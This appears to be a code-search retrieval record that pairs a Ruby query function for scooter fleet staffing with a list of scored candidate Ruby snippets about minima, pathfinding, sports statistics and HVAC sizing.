[ { "docid": "3ad28bfc1bf6989ba400faf722c1e622", "score": "0.83924663", "text": "def min_fes\n fm_district = lowest_fm_waste_index\n # Itterate over districts except FM's optimal\n left_over_districts = @district_scooter_count.each_with_index.reject {|_, index| index == fm_district[1]}.map { |v| v[0] }\n fe_counts = left_over_districts.map do |district_capacity|\n min_district_fe(district_capacity, 0)\n end\n # Combine FMs optimal FE count with rest\n fe_counts.inject(:+) + fm_district[0]\n end", "title": "" } ]
[ { "docid": "d00467a6938538a6698e2367d51b4717", "score": "0.75216585", "text": "def min_district_fe(required_capacity, fm_capacity)\n # How many scooters left after FM is done?\n fm_oversubscription = required_capacity - fm_capacity\n\n # (Whole) FEs needed to complete the work\n (fm_oversubscription.to_f / @fleet_engineer_capacity).ceil\n end", "title": "" }, { "docid": "e1c5c53f08262e8b9bf123f96b252b2f", "score": "0.7301129", "text": "def lowest_fm_waste_index\n waste_indexes = @district_scooter_count.each_with_index.map do |district_capacity, index|\n # Record wasted capacity and the index for each district\n [district_oversubscription(district_capacity, @fleet_manager_capacity), index]\n end\n # Sort and get the first optimal distrcit for FM\n distrcit_index = waste_indexes.sort { |a, b| a[0] <=> b[0] }.first[1]\n distrcit_fes = min_district_fe(@district_scooter_count[distrcit_index], @fleet_manager_capacity)\n\n [distrcit_fes, distrcit_index]\n end", "title": "" }, { "docid": "22726472dd19e6c20b7319b52f553964", "score": "0.6307167", "text": "def find_min_fin_points\r\n @fin_mirs.size > 0 ? @fin_mirs.min{ |mir| mir.standard_points } : 0\r\n end", "title": "" }, { "docid": "0c5a456445a62052ff93a62a35ae954f", "score": "0.6225736", "text": "def pick_lowest_f_score\n lowest_f_score = @open_set.first.fscore\n best_choice = @open_set.first\n\n @open_set.each do |candidate|\n if candidate.fscore < lowest_f_score\n lowest_f_score = candidate.fscore\n best_choice = candidate\n end\n end\n best_choice\n end", "title": "" }, { "docid": "b0126ec70eab9a6bea77939568382c17", "score": "0.5991742", "text": "def get_node_with_lowest_f_value(nodes)\n chosen_node = nil\n\n nodes.each do |node|\n chosen_node = node if chosen_node.nil? || get_f_value(node) < get_f_value(chosen_node)\n end\n\n chosen_node\n end", "title": "" }, { "docid": "aa4568c9f944b5e4ea61d5ebb0686b5c", "score": "0.5979184", "text": "def find_cf g\n #g = g.deep_copy\n f = flip_graph g\n\n for d in 0..1\n if d == 0\n graph = g\n else\n graph = f\n end\n\n graph.adj_list.each {|n|\n n.nbrs.each {|nbr|\n bfi = CW_BFS.new(graph,n,graph.adj_list[nbr]).search\n cf = create_graph_from_bfi(graph,bfi)\n if @min_cf.nil?\n @min_cf = cf\n else\n compare_cf(cf)\n end}}\n end\n return @min_cf\n end", "title": "" }, { "docid": "fef8572b389b75591888bee6e992431b", "score": "0.5923063", "text": "def best_fans\n foo = {}\n\n teams.each do |team|\n team_id = team['team_id']\n team_name = team['teamName']\n\n foo[team_name] = home_away_winning_percent_difference(team_id)\n end\n\n foo.min_by { |_k, v| -v }[0]\n end", "title": "" }, { "docid": "7df5a8629a29df2f99846fb943859e6c", "score": "0.59100664", "text": "def optimales_ziel()\n @welt.select { |raum| \n erreichbare_ziele.include?(raum) && !raum.empty?\n }.max { |a, b| Float(a.wertigkeit)/gesammt_kosten(a) <=> Float(b.wertigkeit)/gesammt_kosten(b)}\n \n end", "title": "" }, { "docid": "6135403e3d940d810f2943d5f4cf63ac", "score": "0.5904376", "text": "def openset_min_f\n ret = @openset[0]\n for i in 1...@openset.size\n ret = @openset[i] if ret.f > @openset[i].f\n end\n return ret\n end", "title": "" }, { "docid": "e6ff43ab3eb5d386613143067c2dac40", "score": "0.582585", "text": "def furthest(end_node)\n @end_nodes.max_by {|end_node2| @end_node_dijkstras[end_node].dist[end_node2] ? @end_node_dijkstras[end_node].dist[end_node2] : -1}\n end", "title": "" }, { "docid": "4bf2a2d973539549d5951266f7bd02e7", "score": "0.5778039", "text": "def openset_min_f\n\t ret = @openset[0]\n\t for i in 1...@openset.size\n\t ret = @openset[i] if ret.f > @openset[i].f\n\t end\n\t return ret\n\t end", "title": "" }, { "docid": "9665c0b6a917d0287f8bb35b1372fe34", "score": "0.57780075", "text": "def min\n\t\n\t\taux = gcd(@num, @den)\n\n\t\t@num = @num/aux\n\t\t@den = @den/aux\n\n\t\tFraccion.new(@num,@den)\n\n\tend", "title": "" }, { "docid": "9665c0b6a917d0287f8bb35b1372fe34", "score": "0.57780075", "text": "def min\n\t\n\t\taux = gcd(@num, @den)\n\n\t\t@num = @num/aux\n\t\t@den = @den/aux\n\n\t\tFraccion.new(@num,@den)\n\n\tend", "title": "" }, { "docid": "bed3b6de642352da6310139cde11450f", "score": "0.5770085", "text": "def calculate_fare\r\n start_station ? MINIMUM_FARE : DEFAULT_PENALTY\r\n end", "title": "" }, { "docid": "4e40da7ea7c0e75ea87737535c2bff93", "score": "0.5748836", "text": "def get_best_fin\r\n @swimmer_stats[:best_fin]\r\n end", "title": "" }, { "docid": "d0b46f78e810610c89e75b5085d509c2", "score": "0.5718992", "text": "def find_farthest_left\n if self.minis[0].left[0] == nil\n return self\n else\n return self.minis[0].left[0].find_farthest_left\n end\n end", "title": "" }, { "docid": "c7a3e02fda1e493e12a046cc836e1ec8", "score": "0.5710205", "text": "def dfs\n return (dfs_basis * dfs_modifier).floor\n end", "title": "" }, { "docid": "6ad624950eeb42f0caa0ed761cd489e4", "score": "0.56897366", "text": "def best_fans\n best_fans_team = @teams.max_by do |team|\n team.home_win_percentage - team.away_win_percentage\n end\n best_fans_team.teamname\n end", "title": "" }, { "docid": "e671f2153ee083c139793f7de198ddf8", "score": "0.5646293", "text": "def find_max_fin_points\r\n @fin_mirs.size > 0 ? @fin_mirs.max{ |mir| mir.standard_points } : 0\r\n end", "title": "" }, { "docid": "a539f4db41d6730c0f525b2d3ca5ec72", "score": "0.5632575", "text": "def find_minimum(inegis)\n min = Float::INFINITY \n p_min = nil\n inegis.each do |inegi| \n if(id != inegi.id && distance(inegi) < min)\n min = distance(inegi)\n p_min = inegi\n end\n end\n {:p_min => p_min, :dist => min}\n end", "title": "" }, { "docid": "21fbdad88fd34fc089eee5d15c1c0f0f", "score": "0.5613155", "text": "def minmax_gas_dist(sta, k)\n return 0 if sta.size < 2\n sta.sort!\n low = 0\n high = sta[-1] + 1\n\n while high - low > 10**-6\n # print \" high : #{high} low #{low} \\n\"\n mid = (high + low) / 2.0\n sum = 0\n 0.upto(sta.size - 2).each do |i|\n sum += ((sta[i + 1] - sta[i]) / mid - 1).ceil\n end\n sum <= k ? high = mid : low = mid\n end\n low\nend", "title": "" }, { "docid": "62df13eadd82e8baec77dde884569da2", "score": "0.5587841", "text": "def dfe\n return (dfe_basis * dfe_modifier).floor\n end", "title": "" }, { "docid": "766e22e8c5c8cc37cfd8d2dc461fef16", "score": "0.5586626", "text": "def minima\n\n\t\t\t div = gcd(num, den) #llamamos a la funcion gcd para sacar el comun divisor de los numeros, creamos una variable y la igualamos para poder reducir la fraccion\n\t\t\t @num = @num/div\n\t\t\t @den = @den/div\n\t \n \n \n\t\t\t end", "title": "" }, { "docid": "c49b7efd3494c737bc3f3bc124b6e5f8", "score": "0.558268", "text": "def calc_merit(subset, f)\n k = subset.size.to_f + 1\n \n # use cache\n rcf = @rcf_best + calc_rcf(f)\n rff = @rff_best \n subset.each do |s|\n rff += 2*calc_rff(f, s)\n end\n \n m = rcf/Math.sqrt(k+rff)\n \n [m, rcf, rff]\n end", "title": "" }, { "docid": "777425fb464f4a1545f70ad03c93e57b", "score": "0.55783767", "text": "def min_completeness\n\t\t\tmc = 1\n\t\t\teach_domain do |domain|\n\t\t\t\tsmc = domain.completeness\n\t\t\t\tmc = smc if smc < mc\n\t\t\tend\n\t\t\tmc\n\t\tend", "title": "" }, { "docid": "6aad389dc4d93e94e5c5fc7f774b789d", "score": "0.5556495", "text": "def get_feature_subset\n # handle missing values\n handle_missing_values\n \n subset = []\n feats = get_features.dup\n\t \n\t s_best = -100.0\n # use cache\n @rcf_best, @rff_best = 0.0, 0.0\n\t \n improvement = true\n \n while improvement\n improvement = false\n f_max, s_max = nil, -100.0\n rcf_max, rff_max = -100.0, -100.0\n \n feats.each do |f|\n s_try, rcf_try, rff_try = calc_merit(subset, f)\n \n if s_try > s_best and s_try > s_max\n f_max, s_max = f, s_try\n rcf_max, rff_max = rcf_try, rff_try\n end\n end\n \n # add f_max to subset and remove it from feats\n if f_max\n subset << f_max\n feats.delete(f_max)\n improvement = true\n # update info\n s_best, @rcf_best, @rff_best = s_max, rcf_max, rff_max\n end\n end\n \n subset\n end", "title": "" }, { "docid": "21bdaf6191cf0308c513334d9e285e05", "score": "0.5545404", "text": "def smallest_denomination; end", "title": "" }, { "docid": "21bdaf6191cf0308c513334d9e285e05", "score": "0.5545404", "text": "def smallest_denomination; end", "title": "" }, { "docid": "21bdaf6191cf0308c513334d9e285e05", "score": "0.5545404", "text": "def smallest_denomination; end", "title": "" }, { "docid": "21bdaf6191cf0308c513334d9e285e05", "score": "0.5545404", "text": "def smallest_denomination; end", "title": "" }, { "docid": "930236a5ff8b681adc8ce8364eeef865", "score": "0.5528833", "text": "def dfe\n n = battle_effect.dfe\n return (n * dfe_modifier).to_i if n\n return (dfe_basis * dfe_modifier).floor\n end", "title": "" }, { "docid": "38c2e337cb357b2a9bb6ad2732bfe43c", "score": "0.55233276", "text": "def smallest_distance(origin_points, destiny, mode_of_travel)\n smallest_distance = RATIO_OF_EARTH\n origin_point = nil\n\n origin_points.each do |origin|\n distance = get_distance(origin, destiny, mode_of_travel)\n if distance < smallest_distance\n origin_point = origin\n smallest_distance = distance\n end\n end\n\n return {point: origin_point, deviation: smallest_distance}\n end", "title": "" }, { "docid": "caebb9ea6d14ec936cd6b51f104ba796", "score": "0.54917186", "text": "def min\n\n minimo = @m[0][0].to_f\n for i in 0...@f do\n for j in 0...@c do\n if @m[i][j].to_f < minimo.to_f\n minimo = @m[i][j]\n end\n end\n end\n minimo\n\n end", "title": "" }, { "docid": "a6177ba6cb5dcc5cff70496a0c2ea73d", "score": "0.5482306", "text": "def min_formation_points\n troop_with_min_formation = self.ignore_aux_troops.min {|a,b| a.formation <=> b.formation}\n if troop_with_min_formation\n troop_with_min_formation.formation\n else\n 100 # assumed max formation\n end\n end", "title": "" }, { "docid": "a86f49274df375cfa497358f32853625", "score": "0.5481164", "text": "def d_min\n min, max = @b_min, @d\n \n binary_cut(min, max) do |val|\n get_newton_sum(val, @b) { |sum| sum > @f }\n end\n end", "title": "" }, { "docid": "2f7d990a4962a10c4e6dd79eba5a3d57", "score": "0.5478159", "text": "def best_defense\n teams_total_goals_allowed = total_goals_allowed_helper\n teams_total_games = total_games_helper\n\n best_team_goals_allowed_avg = 100\n best_defense_team_id = 0\n this_team_goals_allowed_avg = 0\n\n teams_total_games.each do |games_key, games_value|\n teams_total_goals_allowed.each do |goals_key, goals_value|\n if goals_key == games_key\n this_team_goals_allowed_avg = (goals_value / games_value.to_f)\n if this_team_goals_allowed_avg < best_team_goals_allowed_avg\n best_team_goals_allowed_avg = this_team_goals_allowed_avg\n best_defense_team_id = games_key\n end\n end\n end\n end\n\n team_with_best_defense = nil\n self.teams.each_value do |team_obj|\n if team_obj.team_id. == best_defense_team_id\n team_with_best_defense = team_obj.team_name\n end\n end\n team_with_best_defense\n end", "title": "" }, { "docid": "57961a71a8b7d170995a095a7aeec981", "score": "0.5469561", "text": "def deviance\n return @optimization_result.f_minimum \n end", "title": "" }, { "docid": "bd41bd2b2d08af3b53d8e91b4568773f", "score": "0.5469049", "text": "def nearest_vamc(facility_ids)\n idx = facility_ids.find_index { |f| f.length == 3 or CONSOLIDATED_FACILITIES.include?(f) }\n return nil if idx.nil?\n\n facility_ids[0..idx]\n end", "title": "" }, { "docid": "ba857a8deabf86cb771cba86e36f9e83", "score": "0.54646015", "text": "def least_accurate_team(season)\n season_games = season_game_teams(season)\n foo = {}\n\n teams.each do |team|\n team_id = team['team_id']\n team_name = team['teamName']\n\n foo[team_name] = shots_to_goals_ratio(team_id, season_games)\n end\n x = foo.sort.to_h.reject { |_k, v| v == 0.0 }\n x.min_by { |_k, v| v }[0]\n end", "title": "" }, { "docid": "cc709ca3bc9c554584e5a7c1d50a4103", "score": "0.54611105", "text": "def median_pre_frost_remaining_dds(p)\n # hash by year of per-day remaining DDs\n remaining = {}\n [:min_grids,:max_grids,:years,:longi_index,:lati_index].each { |sym| raise \"Required param #{sym.to_s} missing\" unless p[sym] }\n # Assemble a dataset of remaining DDs for this point; it'll be a hash (by year) of hashes (by doy) of remaining DD\n p[:years].each do |year|\n p[:year] = year # Hack the param hash so it's good to go for pre_frost_remaining_dds_at_point\n remaining[year],frost_doy = pre_frost_remaining_dds_at_point(p)\n end\n # Iterate over each possible DOY, find the median for that DOY. Will pointlessly access many nonexistent DOYs after\n # first frost, but that means we don't terminate prematurely if a DOY happens to be missing\n medians = {}\n (START_DOY..366).each do |doy|\n dds_for_doy = (p[:years].collect {|year| remaining[year][doy]}).compact\n next unless dds_for_doy.size > 0\n medians[doy] = median(dds_for_doy)\n end\n medians\n end", "title": "" }, { "docid": "8275c4368a2b68a57618b0b90fea4399", "score": "0.54408455", "text": "def best_defense\n foo = {}\n\n teams.each do |team|\n team_id = team['team_id']\n team_name = team['teamName']\n\n foo[team_name] = average_goals_allowed_per_game(team_id)\n end\n\n foo.min_by { |_k, v| v }[0]\n end", "title": "" }, { "docid": "74dbe80e2ca3c76dfa9d80754440c91f", "score": "0.5437155", "text": "def get_min_distance_in_fringe\n @fringe.reduce(Float::INFINITY) do |memo,node|\n if (node.destination_distance < memo)\n node.destination_distance\n else\n memo\n end\n end\n end", "title": "" }, { "docid": "ed994b2893cad7820511506226627fac", "score": "0.54291755", "text": "def pe60v5(f,list)\nf = [f]\nmin = 900000000\nprintf \"searching from seed %s\\n\",f\nlist[0..50].each do |a|\n\tif (!test3(f,a) or a < f[-1]) then next end\n\tf.push(a)\n\tlist[10..1000].each do |b|\n\t\tif (!test3(f,b) or b < f[-1]) then next end\n\t f.push(b)\n\t\tlist[50..-1].each do |c|\n\t\t\tif (!test3(f,c) or c < f[-1]) then next end\n\t\t\tf.push(c)\n\t\t\tlist[50..-1].each do |d|\n\t\t\t\t#printf \"4 ---found f %s-----\\n\", f\n\t\t\t\tif (test3(f,d)) then\n\t\t\t\t\tsum = f.reduce(:+) + d\n\t\t\t\t\tprintf \"----found f %s and x = %s, sum = %d-----\\n\", f,d,sum\n\t\t\t\t\tif(min > sum) then\n\t\t\t\t\t\tmin = sum\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tf.pop()\n\t\tend\n\t\tf.pop()\n\tend\n\tf.pop()\nend\nend", "title": "" }, { "docid": "7ebff4eb9a33c65ca5c470ee8ae0427e", "score": "0.54101294", "text": "def find_cheapest_deal\n @restaurant_menus.map do |restaurant, value|\n min_price = minimum_price_per_restaurant(restaurant)\n puts min_price\n min_price = minimum_price_combo_meal(restaurant)\n @search_result << [restaurant, min_price] if !@meal_combo.empty? && min_price > 0\n end\n end", "title": "" }, { "docid": "101bffb6c72e4a717792934df645ee15", "score": "0.53873724", "text": "def features_min(code)\n features(code).collect {|ft| ft.value}.min\n end", "title": "" }, { "docid": "1682e4b5b0bc3448f7849e8e2bcc5729", "score": "0.53838885", "text": "def select_best\n return nil if @fringe.length == 0\n\n # This is done by computing normalised scores for each dimension, then\n # finding out the smallest distance from the prototype\n\n distances = {}\n\n @fringe.each do |id, doc|\n\n # Create a list for each doc\n list = []\n\n # For each heuristic, add to the list\n @heuristics.each do |key, heuristic|\n score = heuristic.norm_distance(@prototype[key], doc[key]).to_f\n # puts \"-> #{id}[#{key}] = #{score}\"\n list << score\n end\n\n # Create a vector from the list, and return its magnitude\n # to normalise\n v = Vector.[](*list)\n\n distances[id] = v.magnitude\n end\n\n\n id, distance = distances.sort_by{|id, dist| dist}.first\n w_id, w_distance = distances.sort_by{|id, dist| dist}.last\n warn \"[cat] Selecting document #{id} with distance #{distance} to prototype (worst is #{id} with #{w_distance}).\"\n\n # Read doc, remove from fringe, add to output handler\n doc = @fringe[id]\n @fringe.delete(id)\n\n # TODO: compute MSE and store in the cat for retrieval\n @error_measure.accept(prototype, doc, @heuristics)\n # mse[dimension] = non-normalised-diff(prototype[dimension], doc[dimension])\n @error_measure.output_error_statistics\n\n # Write out and return\n @output_handler.write(doc)\n return doc\n end", "title": "" }, { "docid": "8014ea2335d69fcafb8944be71898fa9", "score": "0.53675395", "text": "def minimum_distances_for_zone\n @distances.collect.with_index do |distance, pos|\n if !' #'.include?(@level.grid[pos])\n distance.values.min\n end\n end.compact\n end", "title": "" }, { "docid": "8b8feaace6749b845cee82625d0ec7d2", "score": "0.53649545", "text": "def detect_min_frequency(detect_params)\n \n if !check_dmf_params(detect_params)\n return nil\n end\n detect_params[\"verbose\"] = detect_params[\"verbose\"] == \"true\" ? true : false\n puts if detect_params[\"verbose\"]\n puts \"[#{Time.now.iso8601(4).to_s}] ----- Start detect_min_frequency\" if detect_params[\"verbose\"]\n detect_params[\"fminer_algo\"] = detect_params[\"fminer_algo\"] == \"last\" ? \"last\" : \"bbrc\"\n detect_params[\"nr_com_ratio\"] = detect_params[\"nr_com_ratio\"].nil? ? 0.25 : detect_params[\"nr_com_ratio\"] \n puts \"Params: #{detect_params.to_yaml}\" if detect_params[\"verbose\"]\n\n ds = OpenTox::Dataset.find(detect_params[\"dataset_uri\"], detect_params[\"subjectid\"])\n if ds.nil?\n puts \"Dataset has to be accessable. Please check given dataset_uri: '#{detect_params[\"dataset_uri\"]}' and subjectid: '#{detect_params[\"subjectid\"]}'\"\n return nil\n end\n ds_nr_com = ds.compounds.size\n puts \"Number of compound in training dataset: #{ds_nr_com}\" if detect_params[\"verbose\"]\n\n durations = []\n x = ds_nr_com\n ds_result_nr_f = 0\n y = x\n y_old = 0\n puts if detect_params[\"verbose\"]\n puts \"[#{Time.now.iso8601(4).to_s}] ----- Initialization: -----\" if detect_params[\"verbose\"]\n while ds_result_nr_f < (ds_nr_com * detect_params[\"nr_com_ratio\"]).to_i do\n y_old = y\n y = x\n x = (x/2).to_i\n detect_params[\"min_frequency\"] = x\n puts \"Min_freq: '#{x}'\" if detect_params[\"verbose\"]\n t = Time.now\n result_uri = OpenTox::RestClientWrapper.post( File.join(CONFIG[:services][\"opentox-algorithm\"],\"fminer/#{detect_params[\"fminer_algo\"]}/\"), detect_params )\n durations << Time.now - t\n ds_result = OpenTox::Dataset.find(result_uri,detect_params[\"subjectid\"])\n ds_result_nr_f = ds_result.features.size\n ds_result.delete(detect_params[\"subjectid\"])\n puts \"Number of features #{ds_result_nr_f}\" if detect_params[\"verbose\"]\n puts \"Duration of feature calculation: #{durations.last}\" if detect_params[\"verbose\"]\n puts \"----------\" if detect_params[\"verbose\"]\n end\n puts if detect_params[\"verbose\"]\n puts \"[#{Time.now.iso8601(4).to_s}] ----- Main phase: -----\" if detect_params[\"verbose\"]\n max_duration = durations[0] +(ds_nr_com.to_f * detect_params[\"time_per_cmpd\"])\n puts \"Max duration: '#{max_duration}'sec\" if detect_params[\"verbose\"]\n detect_params[\"min_frequency\"] = y\n y = y_old\n found = false\n cnt = 0\n min_f = detect_params[\"min_frequency\"]\n # Search for min_frequency with following heuristic procedure. If no good min_frequency found the delivered value(from the arguments) is used.\n while found == false && cnt <= 2 do\n if min_f == detect_params[\"min_frequency\"]\n cnt = cnt + 1\n end\n min_f = detect_params[\"min_frequency\"]\n puts \"Min_freq: '#{min_f}'\" if detect_params[\"verbose\"]\n t = Time.now\n result_uri = OpenTox::RestClientWrapper.post( File.join(CONFIG[:services][\"opentox-algorithm\"],\"fminer/#{detect_params[\"fminer_algo\"]}/\"), detect_params )\n durations << Time.now - t\n ds_result = OpenTox::Dataset.find(result_uri, detect_params[\"subjectid\"])\n ds_result_nr_f = ds_result.features.size\n ds_result.delete(detect_params[\"subjectid\"])\n puts \"Number of features #{ds_result_nr_f}\" if detect_params[\"verbose\"]\n puts \"Duration of feature calculation: #{durations.last}\" if detect_params[\"verbose\"]\n puts \"----------\" if detect_params[\"verbose\"]\n # Check if number of features is max half and min one-tenth of the number of compounds and performed in accaptable amount of time\n if ds_result_nr_f.to_i < (ds_nr_com * detect_params[\"upper_limit\"]).to_i && ds_result_nr_f.to_i > (ds_nr_com * detect_params[\"lower_limit\"]).to_i\n if durations.last < max_duration\n found = true\n return detect_params[\"min_frequency\"]\n else\n x = detect_params[\"min_frequency\"]\n detect_params[\"min_frequency\"] = ((detect_params[\"min_frequency\"]+y)/2).to_i\n end\n else\n y = detect_params[\"min_frequency\"]\n detect_params[\"min_frequency\"] = ((x+detect_params[\"min_frequency\"])/2).to_i\n end\n end\n return 0\nend", "title": "" }, { "docid": "8402e54d2d76376a90cb2a51c519b481", "score": "0.5359919", "text": "def distance(entities_index, first, sec)\n entity1_parts = places_taken first, entities_index[first.id]\n entity2_parts = places_taken sec, entities_index[sec.id]\n min_dist = nil\n entity1_parts.each do |entity1_part|\n entity2_parts.each do |entity2_part|\n dist = Cartographer.distance(entity1_part, entity2_part)\n min_dist = dist if min_dist.nil? || dist < min_dist\n end\n end\n min_dist\n end", "title": "" }, { "docid": "5fbdca12079b2e896fc344df62522775", "score": "0.5317839", "text": "def set_minimum_vav_damper_positions\n \n # Total uncorrected outdoor airflow rate\n v_ou = 0.0\n self.thermalZones.each do |zone|\n v_ou += zone.outdoor_airflow_rate\n end\n v_ou_cfm = OpenStudio.convert(v_ou, 'm^3/s', 'cfm').get\n \n # System primary airflow rate (whether autosized or hard-sized)\n v_ps = 0.0\n if self.autosizedDesignSupplyAirFlowRate.is_initialized\n v_ps = self.autosizedDesignSupplyAirFlowRate.get\n else\n v_ps = self.designSupplyAirFlowRate.get\n end \n \n # Average outdoor air fraction\n x_s = v_ou / v_ps\n \n # Determine the zone ventilation effectiveness\n # for every zone on the system.\n # When ventilation effectiveness is too low,\n # increase the minimum damper position.\n e_vzs = []\n e_vzs_adj = []\n num_zones_adj = 0\n self.thermalZones.sort.each do |zone|\n \n # Breathing zone airflow rate\n v_bz = zone.outdoor_airflow_rate \n \n # Zone air distribution, assumed 1 per PNNL\n e_z = 1.0 \n \n # Zone airflow rate\n v_oz = v_bz / e_z \n \n # Primary design airflow rate\n # max of heating and cooling \n # design air flow rates\n v_pz = 0.0\n clg_dsn_flow = zone.autosizedCoolingDesignAirFlowRate\n if clg_dsn_flow.is_initialized\n clg_dsn_flow = clg_dsn_flow.get\n if clg_dsn_flow > v_pz\n v_pz = clg_dsn_flow\n end\n end\n htg_dsn_flow = zone.autosizedHeatingDesignAirFlowRate\n if htg_dsn_flow.is_initialized\n htg_dsn_flow = htg_dsn_flow.get\n if htg_dsn_flow > v_pz\n v_pz = htg_dsn_flow\n end\n end\n \n # Get the minimum damper position\n mdp = 1.0\n zone.equipment.each do |equip|\n if equip.to_AirTerminalSingleDuctVAVHeatAndCoolNoReheat.is_initialized\n term = equip.to_AirTerminalSingleDuctVAVHeatAndCoolNoReheat.get\n mdp = term.zoneMinimumAirFlowFraction\n elsif equip.to_AirTerminalSingleDuctVAVHeatAndCoolReheat.is_initialized\n term = equip.to_AirTerminalSingleDuctVAVHeatAndCoolReheat.get\n mdp = term.zoneMinimumAirFlowFraction\n elsif equip.to_AirTerminalSingleDuctVAVNoReheat.is_initialized\n term = equip.to_AirTerminalSingleDuctVAVNoReheat.get\n if term.constantMinimumAirFlowFraction.is_initialized\n mdp = term.constantMinimumAirFlowFraction.get\n end\n elsif equip.to_AirTerminalSingleDuctVAVReheat.is_initialized\n term = equip.to_AirTerminalSingleDuctVAVReheat.get\n mdp = term.constantMinimumAirFlowFraction\n end\n end\n \n # Zone minimum discharge airflow rate\n v_dz = v_pz*mdp\n \n # Zone discharge air fraction\n z_d = v_oz / v_dz\n \n # Zone ventilation effectiveness\n e_vz = 1+x_s-z_d\n \n # Store the ventilation effectiveness\n e_vzs << e_vz\n \n # Check the ventilation effectiveness against\n # the minimum limit per PNNL and increase\n # as necessary.\n if e_vz < 0.6\n \n # Adjusted discharge air fraction\n z_d_adj = 1+x_s-0.6\n \n # Adjusted min discharge airflow rate\n v_dz_adj = v_oz / z_d_adj\n \n # Adjusted minimum damper position\n mdp_adj = v_dz_adj / v_pz\n \n # Don't allow values > 1\n if mdp_adj > 1.0\n mdp_adj = 1.0\n end\n \n # Zone ventilation effectiveness\n e_vz_adj = 1+x_s-z_d_adj\n \n # Store the ventilation effectiveness\n e_vzs_adj << e_vz_adj\n \n # Set the adjusted minimum damper position\n zone.equipment.each do |equip|\n if equip.to_AirTerminalSingleDuctVAVHeatAndCoolNoReheat.is_initialized\n term = equip.to_AirTerminalSingleDuctVAVHeatAndCoolNoReheat.get\n term.setZoneMinimumAirFlowFraction(mdp_adj)\n elsif equip.to_AirTerminalSingleDuctVAVHeatAndCoolReheat.is_initialized\n term = equip.to_AirTerminalSingleDuctVAVHeatAndCoolReheat.get\n term.setZoneMinimumAirFlowFraction(mdp_adj)\n elsif equip.to_AirTerminalSingleDuctVAVNoReheat.is_initialized\n term = equip.to_AirTerminalSingleDuctVAVNoReheat.get\n term.setConstantMinimumAirFlowFraction(mdp_adj)\n elsif equip.to_AirTerminalSingleDuctVAVReheat.is_initialized\n term = equip.to_AirTerminalSingleDuctVAVReheat.get\n term.setConstantMinimumAirFlowFraction(mdp_adj)\n end\n end\n \n num_zones_adj += 1\n \n OpenStudio::logFree(OpenStudio::Info, 'openstudio.standards.AirLoopHVAC', \"For: #{self.name}: Zone #{zone.name} has a ventilation effectiveness of #{e_vz.round(2)}. Increasing to #{e_vz_adj.round(2)} by increasing minimum damper position from #{mdp.round(2)} to #{mdp_adj.round(2)}.\")\n\n else\n # Store the unadjusted value\n e_vzs_adj << e_vz\n end\n \n end\n \n # Min system zone ventilation effectiveness\n e_v = e_vzs.min\n \n # Total system outdoor intake flow rate \n v_ot = v_ou / e_v\n v_ot_cfm = OpenStudio.convert(v_ot, 'm^3/s', 'cfm').get\n \n # Min system zone ventilation effectiveness\n e_v_adj = e_vzs_adj.min\n \n # Total system outdoor intake flow rate \n v_ot_adj = v_ou / e_v_adj\n v_ot_adj_cfm = OpenStudio.convert(v_ot_adj, 'm^3/s', 'cfm').get\n \n # Report out the results of the multizone calculations\n if num_zones_adj > 0\n OpenStudio::logFree(OpenStudio::Info, 'openstudio.standards.AirLoopHVAC', \"For: #{self.name}: the multizone outdoor air calculation method was applied. A simple summation of the zone outdoor air requirements gives a value of #{v_ou_cfm.round} cfm. Applying the multizone method gives a value of #{v_ot_cfm.round} cfm, with an original system ventilation effectiveness of #{e_v.round(2)}. After increasing the minimum damper position in #{num_zones_adj} critical zones, the resulting requirement is #{v_ot_adj_cfm.round} cfm with a system ventilation effectiveness of #{e_v_adj.round(2)}.\")\n else\n OpenStudio::logFree(OpenStudio::Info, 'openstudio.standards.AirLoopHVAC', \"For: #{self.name}: the multizone outdoor air calculation method was applied. A simple summation of the zone requirements gives a value of #{v_ou_cfm.round} cfm. However, applying the multizone method requires #{v_ot_adj_cfm.round} cfm based on the ventilation effectiveness of the system.\")\n end\n \n # Hard-size the sizing:system\n # object with the calculated min OA flow rate\n sizing_system = self.sizingSystem\n sizing_system.setDesignOutdoorAirFlowRate(v_ot_adj)\n \n return true\n \n end", "title": "" }, { "docid": "105640b4710c914c85864f344ec8d31a", "score": "0.53139985", "text": "def find_f(sources, a)\n one = sources.find { |segment| segment.size == 2 }\n four = sources.find { |segment| segment.size == 4 }\n seven = sources.find { |segment| segment.size == 3 }\n eight = sources.find { |segment| segment.size == 7 }\n e_or_g = eight - four - seven\n b_or_d = four - one\n six = sources.find { |segment| segment.size == 6 && (segment & e_or_g).size == 2 && (segment & b_or_d).size == 2 }\n\n out = (six - [a] - e_or_g - b_or_d)\n raise \"f missing\" if out.size != 1\n\n out.first\nend", "title": "" }, { "docid": "7c557578a892b750e00a4a36a7ad5a2e", "score": "0.5305967", "text": "def f high, top, eggs, trials\n\n # if the value is already known, avoid recalculating it\n if $m[high][top][eggs][trials]\n return $m[high][top][eggs][trials]\n end\n\n $iterations += 1\n\n # we find a possible solution when we know about all the floors\n if high >= top - 1\n return trials\n end\n\n # an accumulator to update as we try different possibilities\n best = Float::INFINITY\n\n # since we don't know where to try next, let's try them all\n (high + 1..top).to_a.each do |i|\n\n # special case: the highest known floor is directly below our\n # current floor. If the egg were to break here, we would have\n # our answer; therefore, we pick the longer possibility, with \n # more trials, where the egg does not break and our new 'highest-\n # known floor' is set to i, and minimize on that.\n if high == i - 1\n best = [best, f(i, top, eggs, trials + 1)].min\n next\n end\n\n # if the highest known floor is not directly below i, breaking\n # the egg (assuming we have any to break) would determine the \n # new higher-bound, meaning the lowest floor above which we have \n # an answer for all floors; otherwise, if the egg does not break, we\n # update the low-bound, the 'highest known floor' again. We pick\n # the longer of these two possibilities to minimize on.\n best = [best,\n [\n f(high, i, eggs - 1, trials + 1),\n f(i, top, eggs, trials + 1)\n ].max\n ].min\n end\n\n # return our accumulator as the best solution for this state of f\n # and add that value to the matrix\n return $m[high][top][eggs][trials] = best\nend", "title": "" }, { "docid": "6f6cf29bb4a8e7c3f47a38a39426d625", "score": "0.52970797", "text": "def min_completeness\n\t\t\tmc = 1\n\t\t\teach_sequencehit do |subhit|\n\t\t\t\tsmc = subhit.min_completeness\n\t\t\t\tmc = smc if smc < mc\n\t\t\tend\n\t\t\tmc\n\t\tend", "title": "" }, { "docid": "c41b4989e071e55d97f4c62eaf262315", "score": "0.5293237", "text": "def min_personne\n \t@declinaison = DeclinaisonPanier.where('panier_id = ?', self.id)\n \tif @declinaison.count > 0\n \t\t@min = @declinaison[0].nombre_personne\n \t\t@declinaison.each do |decli|\n\t \t\tif 